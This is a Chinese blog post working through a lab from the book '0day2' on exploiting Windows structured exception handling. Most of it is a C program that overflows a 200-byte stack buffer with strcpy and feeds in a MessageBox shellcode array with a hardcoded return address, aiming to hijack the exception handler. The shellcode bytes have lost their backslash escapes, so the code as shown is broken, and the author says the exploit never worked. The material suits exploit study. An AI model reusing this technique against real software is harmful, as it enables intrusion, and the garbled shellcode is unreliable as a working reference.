• 旧书重温:0day2【8】狙击windows的异常处理实验


    现在进入0day2的第六章内容

    其中第六章的书本内容我都拍成了图片格式放在了QQ空间中(博客园一张一传,太慢了)http://user.qzone.qq.com/252738331/photo/V10U5YUk464GF5/   密码NQK3S

    废话不说了,代码

     1 // 0day2_8.cpp : Defines the entry point for the console application.
     2 //
     3 
     4 #include "stdafx.h"
     5 #include <windows.h>
     6 #include <stdio.h>
     7 //    "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
     8 char shellcode[] ={
     9                 
    10             
    11                 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90xccxccxccxcc"
    12                 "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0Cx8BxF4x8Dx7Ex0Cx33"
    13                 "xDBxB7x04x2BxE3x66xBBx33x32x53x68x75x73x65x72x54x33xD2x64x8Bx5Ax30"
    14                 "x8Bx4Bx0Cx8Bx49x1Cx57x56x8Bx69x08x8Bx79x20x8Bx09x66x39x57x18x75xF2"
    15                 "x5Ex5FxADx3Dx6Ax0Ax38x1Ex75x05x95xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05"
    16                 "x78x03xCDx8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3AxC4"
    17                 "x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75xE4x8Bx59x24x03xDDx66"
    18                 "x8Bx3Cx7Bx8Bx59x1Cx03xDDx03x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75"
    19                 "xA9x33xDBx53x68x61x61x61x61x68x62x62x62x62x8BxC4x53x50x50x53xFFx57"
    20                 "xFCx53xFFx57xF8"
    21                 
    22                 "x90x90x90x90x90x90x90x90x90x9cxfex12x00"
    23 
    24 
    25                 };
    26 DWORD MyExceptionHandler(void)
    27 {
    28     printf("got an exception,press enter to kill process!
    ");
    29     getchar();
    30     ExitProcess(1);
    31     return 0;
    32 }
    33 void Test(char * input)
    34 {
    35     char buf[200];
    36     int zero = 0;
    37     //__asm int 3
    38     //printf("len %d 
    ",strlen(shellcode));
    39     //_asm int 3
    40     __try
    41     {
    42         strcpy(buf,input);
    43     
    44         zero=4/zero;
    45     }
    46     __except(MyExceptionHandler()){}
    47 }
    48 int main(int argc, char* argv[])
    49 {
    50     /*_asm{
    51 
    52     lea eax,dword ptr shellcode
    53     call eax
    54     }*/
    55     Test(shellcode);
    56     return 0;
    57 }

    这个实验 做了好久,弄了也好久,最后:我们可爱的msg就是弹不出来,打击了我的积极性,所以搁置了好久!

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  • 原文地址:https://www.cnblogs.com/witty/p/0day2_8.html
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